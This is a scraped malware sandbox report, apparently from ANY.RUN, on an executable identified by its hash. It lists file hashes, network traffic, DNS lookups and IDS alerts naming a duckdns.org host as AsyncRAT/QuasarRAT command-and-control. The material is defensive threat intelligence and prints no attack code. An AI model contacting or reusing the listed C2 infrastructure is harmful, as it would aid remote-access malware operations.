MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1996powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hhafeyt4.zkt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1760svchost.exeC:\Windows\Prefetch\9BF5171DD1229EE3E488E3FD3D2A0-1DE6EB01.pfbinary
MD5:F16E7DEAD53F4E2E853620DCBEE8F484
SHA256:24A0D9DB8923F881DF7CB7A9723C75EAA4D395557B9CC4D315810CC6EC179C89
1236svchost.exeC:\WINDOWS\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Workxml
MD5:41AF861B9CBD80FC668887C5471B1D2A
SHA256:3757A32190C9D5B1522825395115EA19471BAFF6E3330DC7D8CB69A77F205AEE
1236svchost.exeC:\WINDOWS\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Workxml
MD5:8ABF2D6067C6F3191A015F84AA9B6EFE
SHA256:EE18BD3259F220C41062ABCBE71A421DA3E910DF11B9F86308A16CDC3A66FBEA
1236svchost.exeC:\WINDOWS\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Workxml
MD5:CEB7CAA4E9C4B8D760DBF7E9E5CA44C5
SHA256:98C054088DF4957E8D6361FD2539C219BCF35F8A524AAD8F5D1A95F218E990E9
1996powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dw4snynn.ome.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1760svchost.exeC:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pfbinary
MD5:A0A87C8BE816BF00F451AC1DD319BC89
SHA256:1548769D75F3C2353019A57B8DD0C5DF65B525831BC3261791613835003CFE85
1760svchost.exeC:\WINDOWS\Prefetch\SIHCLIENT.EXE-A872A8BF.pfbinary
MD5:2A1F2A30CC3CDF8F54D3583D5642A0B6
SHA256:12E2209B8E15B9E499C8027F29A2B651057036C44F4707FD9665A20E0D41BBF3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
41
DNS requests
15
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
—
138.91.171.81:80
http://dmd.metaservices.microsoft.com/metadata.svc
unknown
—
—
unknown
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
—
138.91.171.81:80
http://dmd.metaservices.microsoft.com/metadata.svc
unknown
—
—
unknown
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
—
138.91.171.81:80
http://dmd.metaservices.microsoft.com/metadata.svc
unknown
—
—
unknown
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
302
23.218.210.69:80
http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
unknown
—
—
unknown
6692
svchost.exe
POST
502
20.231.121.79:80
http://dmd.metaservices.microsoft.com/metadata.svc
unknown
html
183 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
40.115.3.253:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown
3624
svchost.exe
239.255.255.250:1900
—
—
—
unknown
6876
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
892
svchost.exe
40.126.32.74:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3308
svchost.exe
40.113.110.67:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
892
svchost.exe
40.126.32.133:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown
4432
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6288
backgroundTaskHost.exe
104.126.37.176:443
www.bing.com
Akamai International B.V.
DE
unknown

DNS requests

Domain
IP
Reputation
client.wns.windows.com
  • 40.113.110.67
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
www.bing.com
  • 104.126.37.176
  • 104.126.37.155
  • 104.126.37.177
  • 104.126.37.137
  • 104.126.37.178
  • 104.126.37.139
  • 104.126.37.136
  • 104.126.37.170
  • 104.126.37.160
whitelisted
arc.msn.com
  • 20.199.58.43
whitelisted
go.microsoft.com
  • 23.218.210.69
whitelisted
dmd.metaservices.microsoft.com
  • 138.91.171.81
  • 52.142.223.178
  • 20.231.121.79
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
slscr.update.microsoft.com
  • 40.68.123.157
whitelisted
kinggru.duckdns.org
  • 94.156.71.237
malicious
ipwho.is
  • 195.201.57.90
malicious

Threats

PID
Process
Class
Message
2216
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2216
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
3220
$sxr-powershell.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT Style SSL Cert
2216
svchost.exe
Potentially Bad Traffic
ET INFO External IP Lookup Domain in DNS Lookup (ipwho .is)
3220
$sxr-powershell.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] QuasarRAT Successful Connection (GCM_SHA384)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe